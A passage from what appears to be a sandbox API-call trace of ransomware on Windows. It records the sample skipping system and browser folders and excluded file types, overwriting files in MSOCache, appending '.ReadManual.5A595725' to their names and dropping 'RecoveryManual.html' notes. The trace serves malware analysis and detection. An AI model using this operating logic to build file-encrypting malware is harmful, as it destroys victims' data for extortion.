(hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0192.886] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0192.894] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0192.894] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10a5df8) returned 0x4350000 [0193.553] UnmapViewOfFile (lpBaseAddress=0x4350000) returned 1 [0193.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31425852688) returned 1 [0193.590] CloseHandle (hObject=0x194) returned 1 [0193.590] SetSecurityInfo () returned 0x57 [0193.590] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0193.590] CloseHandle (hObject=0x190) returned 1 [0193.590] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0193.590] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0193.590] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0193.591] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0193.591] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0193.591] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0193.591] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" [0193.591] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0193.591] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0193.591] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31425979567) returned 1 [0193.591] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0193.592] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0193.592] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1988) returned 1 [0193.592] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c4, lpName=0x0) returned 0x194 [0193.592] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0193.593] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.593] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0193.595] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0193.595] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c4) returned 0x2f0000 [0193.595] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0193.595] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31426376868) returned 1 [0193.595] CloseHandle (hObject=0x194) returned 1 [0193.595] SetSecurityInfo () returned 0x57 [0193.595] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0193.595] CloseHandle (hObject=0x190) returned 1 [0193.595] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0193.596] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0193.596] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0193.596] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-00B4-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C" [0193.596] lstrcatW (in: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0193.596] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0193.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0193.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0193.597] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0193.597] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned 67 [0193.597] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0193.600] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0193.600] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.600] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0193.600] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProjectMUI.msi" | out: lpString1="ProjectMUI.msi") returned="ProjectMUI.msi" [0193.600] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="RecoveryManual.html") returned -1 [0193.600] StrStrIW (lpFirst="ProjectMUI.msi", lpSrch=".ReadManual.5A595725") returned 0x0 [0193.600] StrCmpIW (psz1="msi", psz2="exe") returned 1 [0193.600] StrCmpIW (psz1="msi", psz2="dll") returned 1 [0193.600] StrCmpIW (psz1="msi", psz2="sys") returned -1 [0193.600] StrCmpIW (psz1="msi", psz2="msi") returned 0 [0193.600] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\" [0193.600] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" [0193.600] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0193.600] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0193.601] CloseHandle (hObject=0x190) returned 1 [0193.601] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0193.601] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProjectMUI.xml" | out: lpString1="ProjectMUI.xml") returned="ProjectMUI.xml" [0193.601] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="RecoveryManual.html") returned -1 [0193.602] StrStrIW (lpFirst="ProjectMUI.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0193.602] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0193.602] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0193.602] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" [0193.602] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.ReadManual.5A595725" [0193.602] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.ReadManual.5A595725") returned 101 [0193.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31427085867) returned 1 [0193.602] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0193.603] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0193.603] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1452) returned 1 [0193.603] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ac, lpName=0x0) returned 0x194 [0193.603] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0193.604] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.604] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0193.605] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0193.605] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ac) returned 0x2f0000 [0193.605] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0193.606] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31427432003) returned 1 [0193.606] CloseHandle (hObject=0x194) returned 1 [0193.606] SetSecurityInfo () returned 0x57 [0193.606] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0193.606] CloseHandle (hObject=0x190) returned 1 [0193.607] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0193.607] lstrcpyW (in: lpString1=0x6ab922, lpString2="ProjLR.cab" | out: lpString1="ProjLR.cab") returned="ProjLR.cab" [0193.607] lstrcmpiW (lpString1="ProjLR.cab", lpString2="RecoveryManual.html") returned -1 [0193.607] StrStrIW (lpFirst="ProjLR.cab", lpSrch=".ReadManual.5A595725") returned 0x0 [0193.607] StrCmpIW (psz1="cab", psz2="exe") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="dll") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="sys") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="msi") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="mui") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="inf") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="cat") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="bat") returned 1 [0193.607] StrCmpIW (psz1="cab", psz2="cmd") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="ps1") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="vbs") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="ttf") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="fon") returned -1 [0193.607] StrCmpIW (psz1="cab", psz2="lnk") returned -1 [0193.607] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" [0193.607] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.ReadManual.5A595725" [0193.607] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.ReadManual.5A595725") returned 97 [0193.607] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31427628416) returned 1 [0193.608] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0193.608] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0193.608] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=8265165) returned 1 [0193.608] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e1dcd, lpName=0x0) returned 0x194 [0193.609] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0193.609] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.609] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0193.611] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: 